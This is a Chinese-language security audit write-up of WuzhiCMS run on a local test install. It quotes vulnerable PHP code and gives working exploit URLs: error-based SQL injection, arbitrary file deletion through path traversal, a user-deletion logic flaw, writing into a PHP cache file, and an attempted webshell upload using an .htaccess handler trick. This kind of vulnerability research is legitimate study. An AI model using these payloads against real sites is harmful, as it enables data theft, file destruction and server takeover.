环境搭建
在www/configs/default_mysql_config.php更改对应配置信息

新建一个名为wuzhicms的数据库
按照安装说明,访问域名:http://域名/install/ 进行安装
审计过程
初步
判断路由关系
1
| http://localhost/wuzhicms/www/index.php?m=core&f=index&_su=wuzhicms
|
在coreframe/app文件夹中,m表示对应的模块,f表示对应的类,v表示类中的方法
传值方法
此源码传值是利用GLOBALS

引用数据库模板插件等(查看安装说明)
查看cms说明可以了解到数据库是mysql
翻看目录结构可以看到有templet文件夹,可以关注是否有ssti注入
在说明中看到

源码中禁止附件目录运行php,说明大概率是爆出过文件上传漏洞,一会可以尝试 .htaccess文件配合图片马上传
目录结构
admin/ — 后台控制器或配置
fields/ — 字段类型定义与处理器
libs/ — 核心类库和工具函数
自动化工具使用
不好用,只能辅助
先用自动化工具扫描一下

控制类主要在coreframe/app目录中,着重关注
搜索敏感函数关键字
php敏感函数速查表 - MuRKuo - 博客园 (cnblogs.com)
后台phpinfo()敏感信息泄露
coreframe/app/core/admin/index.php

直接访问url
1
| http://localhost/wuzhicms/www/index.php?m=core&f=index&v=phpinfo&_su=wuzhicms
|

sql注入
全局搜索select时发现coreframe/app/core/libs/class/mysql.class.php中
get_list与get_one方法有未过滤的sql语句

全局搜素是否有调用这两个函数的方法,并且传入参数可控
查看是否能访问
后台注入01
类似的listing方法有很多,不一一列出
coreframe/app/core/admin/copyfrom.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public function listing() { $siteid = get_cookie('siteid'); $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1; $page = max($page,1); if(isset($GLOBALS['keywords'])) { $keywords = $GLOBALS['keywords']; $where = "`name` LIKE '%$keywords%'"; } else { $where = ''; } $result = $this->db->get_list('copyfrom', $where, '*', 0, 20,$page); $pages = $this->db->pages; $total = $this->db->number; include $this->template('copyfrom_listing'); }
|
可以看到keywords参数可控
构造url尝试访问
1
| http://localhost/wuzhicms/www/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms
|
能看到是友链操作列表查询
测试一下

看到单引号报错,使用报错注入
payload
1
| http://localhost/wuzhicms/www/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms&keywords=1%25%27+or+1%3dextractvalue(1%2cconcat(0x7e%2c(select+database())))+%23
|
顺利注入

后台注入02
coreframe/app/promote/admin/index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public function search() { $siteid = get_cookie('siteid'); $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1; $page = max($page,1); $fieldtype = $GLOBALS['fieldtype']; $keywords = $GLOBALS['keywords']; if($fieldtype=='place') { $where = "`siteid`='$siteid' AND `name` LIKE '%$keywords%'"; $result = $this->db->get_list('promote_place', $where, '*', 0, 50,$page,'pid ASC'); $pages = $this->db->pages; $total = $this->db->number; include $this->template('listingplace'); } else { $where = "`siteid`='$siteid' AND `$fieldtype` LIKE '%$keywords%'"; $result = $this->db->get_list('promote',$where, '*', 0, 20,$page,'id DESC'); $pages = $this->db->pages; $total = $this->db->number; include $this->template('listing'); }
|
这个直接全局搜索是不显示的,全局搜索时可以看到只显示到coreframe/app/pay目录,剩下的需要手动查找
直接搜索url,发现有报错提示

同样使用报错注入
payload
1
| http://localhost/wuzhicms/www/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=1%25%27+or+1%3dextractvalue(1%2cconcat(0x7e%2c(select+database())))+%23
|

后台任意文件删除
搜索unlink关键字
coreframe/app/attachment/admin/index.php
del()方法对用户传入的url参数无过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| public function del() { $id = isset($GLOBALS['id']) ? $GLOBALS['id'] : ''; $url = isset($GLOBALS['url']) ? remove_xss($GLOBALS['url']) : ''; if (!$id && !$url) MSG(L('operation_failure'), HTTP_REFERER, 3000); if ($id) { if(!is_array($id)) { $ids = array($id); } else { $ids = $id; }
foreach($ids as $id) { $where = array('id' => $id); $att_info = $this->db->get_one('attachment', $where, 'usertimes,path'); if ($att_info['usertimes'] > 1) { $this->db->update('attachment', 'usertimes = usertimes-1', $where); } else { $this->my_unlink(ATTACHMENT_ROOT . $att_info['path']); $this->db->delete('attachment', $where); $this->db->delete('attachment_tag_index', array('att_id'=>$id)); } } MSG(L('delete success'), HTTP_REFERER, 1000); } else { if (!$url) MSG('url del ' . L('operation_failure'), HTTP_REFERER, 3000); $path = str_ireplace(ATTACHMENT_URL, '', $url); if ($path) { $where = array('path' => $path); $att_info = $this->db->get_one('attachment', $where, 'usertimes,id');
if (empty($att_info)) { $this->my_unlink(ATTACHMENT_ROOT . $path); MSG(L('operation_success'), HTTP_REFERER, 3000); }
if ($att_info['usertimes'] > 1) { $this->db->update('attachment', 'usertimes = usertimes-1', array('id' => $att_info['id'])); } else { $this->my_unlink(ATTACHMENT_ROOT . $path); $this->db->delete('attachment', array('id' => $att_info['id'])); MSG(L('operation_success'), HTTP_REFERER, 3000); } } else { MSG(L('operation_failure'), HTTP_REFERER, 3000); } } }
|
在D盘下放一个1.txt文件
网站www目录路径
1
| D:/phpstudy_pro/WWW/wuzhicms/www/uploadfile
|
构造payload
1
| http://localhost/wuzhicms/www/index.php?m=attachment&f=index&_su=wuzhicms&v=del&url=http://localhost/wuzhicms/www/uploadfile/../../../../../1.txt
|
执行后可以看到1.txt文件顺利被删除

在D盘文件目录中也可以看到是被删除的
逻辑漏洞
www/api/uc.php


可以将uc_note类中的方法名传入action中调用方法,此类中有更改用户名,更改用户密码,删除用户等方法
此文件是可以访问的
构造url
1
| http://localhost/wuzhicms/www/api/uc.php?action=deleteuser&ids=2
|

显示无效请求
后台文件上传
搜索file_put_contents关键字时发现
coreframe/app/core/libs/function/common.func.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| function set_cache($filename, $data, $dir = '_cache_'){ static $_dirs; if ($dir == '') return FALSE; if (!preg_match('/([a-z0-9_]+)/i', $filename)) return FALSE; $cache_path = CACHE_ROOT . $dir . '/'; if (!isset($_dirs[$filename . $dir])) { if (!is_dir($cache_path)) { mkdir($cache_path, 0777, true); } $_dirs[$filename . $dir] = 1; }
$filename = $cache_path . $filename . '.' . CACHE_EXT . '.php'; if (is_array($data)) { $data = '<?php' . "/r/n return " . array2string($data) . '?>'; } file_put_contents($filename, $data); }
|
查看是否有方法调用,方法中$data是否能作为可控变量
全局搜索关键字set_cache
coreframe/app/attachment/admin/index.php
set方法调用了此函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public function set() { if (isset($GLOBALS['submit'])) { set_cache(M, $GLOBALS['setting']); MSG(L('operation_success'), HTTP_REFERER, 3000); } else { $show_dialog = 1; load_class('form'); $setting = &$this->_cache; if(!isset($setting['show_mode'])) { $setting = array('show_mode'=>2,'watermark_enable'=>1,'watermark_pos'=>0,'watermark_text'=>'www.wuzhicms.com'); set_cache(M, $setting); } include $this->template('set', M); } }
|
可以看到我们传入setting的值即可
访问url抓取数据包

有先前的set_cache方法可知,文件在cache/_ cache_目录下,通过此数据包可以看到watermark的名称

可以确定数据上传后保存在caches/cache/attachment.YGzFh.php路径下
修改数据包

顺利上传

由于是缓存文件,重启服务器就会失效
后台文件上传(未成功)
文件上传之.htaccess的一些技巧 - FreeBuf网络安全行业门户
在寻找功能点时发现管理中心->管理会员->上传头像有文件上传
抓包查看路由

找到控制代码
coreframe/app/attachment/index.php ->h5upload()方法

发现是一个黑名单验证
跟进filename方法
1 2 3 4 5 6 7 8 9 10 11
| function filename($name) { $_exts = array('php','asp','jsp','jspx','html','htm','aspx','asa','cs','cgi','js','dhtml','xhtml','vb','exe','shell','bat','php4','php4','php5','pthml','cdx','cer'); $ext = strtolower(pathinfo($name,PATHINFO_EXTENSION)); if(in_array($ext, $_exts)) { return FALSE; } $rand_str = random_string('diy', 6,'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'); $files = date('YmdHis').$rand_str.'.'.$ext; return $files; }
|
发现并没有禁止.htaccess后缀文件上传
尝试上传图片马再解析
ps:这里黑名单绕过上传php文件是不可以的,之前在安装说明处看到uploadfile文件下的php文件是禁止运行的
抓包上传一句话木马

可以看到是没有文件内容检测和MIME检测的,成功上传
上传.htaccess文件
1 2 3
| <FilesMatch "/.png"> SetHandler application/x-httpd-php </FilesMatch>
|

同样可以看到是成功上传的
但是上传后是无法按照预想中执行的,文件上传之后被重命名无法更改,但是apache智慧查找.htaccess并执行
并且执行.htaccess文件需要apache httpd.conf文件中AllowOverride值为All,默认是none,这个要看运气
步骤
- 翻看目录弄清楚结构,找到控制器
- 安装系统查看使用的依赖,模板
- 判断正常的传值,参数关系,路由关系
- 搜索关键字,找敏感函数,查看是否有可控变量,查看是否有利用点(是否有控制器中方法调用,能传参)